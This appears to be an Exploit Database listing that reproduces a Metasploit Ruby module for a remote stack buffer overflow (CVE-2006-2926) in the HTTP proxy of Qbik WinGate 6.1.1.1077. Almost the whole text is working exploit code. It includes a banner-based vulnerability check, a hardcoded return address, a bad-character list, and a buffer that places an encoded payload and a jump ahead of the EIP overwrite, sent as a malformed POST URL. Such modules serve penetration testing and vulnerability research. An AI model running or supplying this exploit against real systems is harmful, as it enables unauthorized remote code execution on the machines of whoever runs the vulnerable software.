QBik WinGate WWW Proxy Server – URL Processing Overflow (Metasploit)

• Exploit Database
• 13 阅读

• 作者： Metasploit
  日期： 2010-09-20
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16690/

• ##
  # $Id: qbik_wingate_wwwproxy.rb 10394 2010-09-20 08:06:27Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Qbik WinGate WWW Proxy Server URL Processing Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Qbik WinGate version
  				6.1.1.1077 and earlier. By sending malformed HTTP POST URL to the
  				HTTP proxy service on port 80, a remote attacker could overflow
  				a buffer and execute arbitrary code.
  			},
  			'Author' => 'patrick',
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 10394 $',
  			'References' =>
  				[
  					[ 'CVE', '2006-2926' ],
  					[ 'OSVDB', '26214' ],
  					[ 'BID', '18312' ],
  				],
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x0a\x0d\x20+&=%\/\\\#;\"\':<>?",
  					'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'WinGate 6.1.1.1077', { 'Ret' => 0x01991932 } ], # call esi
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Jun 07 2006',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(80)
  			], self.class)
  	end
  
  	def check
  		connect
  		sock.put("GET /\r\n\r\n") # Malformed request to get proxy info
  		banner = sock.get_once
  		if (banner =~ /Server:\sWinGate\s6.1.1\s\(Build 1077\)/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		return Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		connect
  
  		print_status("Trying target #{target.name}...")
  
  		buff = Rex::Text.rand_text_alphanumeric(3000)
  		buff[1200, 1000] = payload.encoded # jmp here
  		buff[2200, 5] = Rex::Arch::X86.jmp(-1005) # esi
  		buff[2284, 4] = [target['Ret']].pack('V') #eip
  
  		sploit= "POST http://#{buff}/ HTTP/1.0\r\n\r\n"
  
  		sock.put(sploit)
  		sock.get_once(-1, 3)
  
  		handler
  		disconnect
  	end
  
  end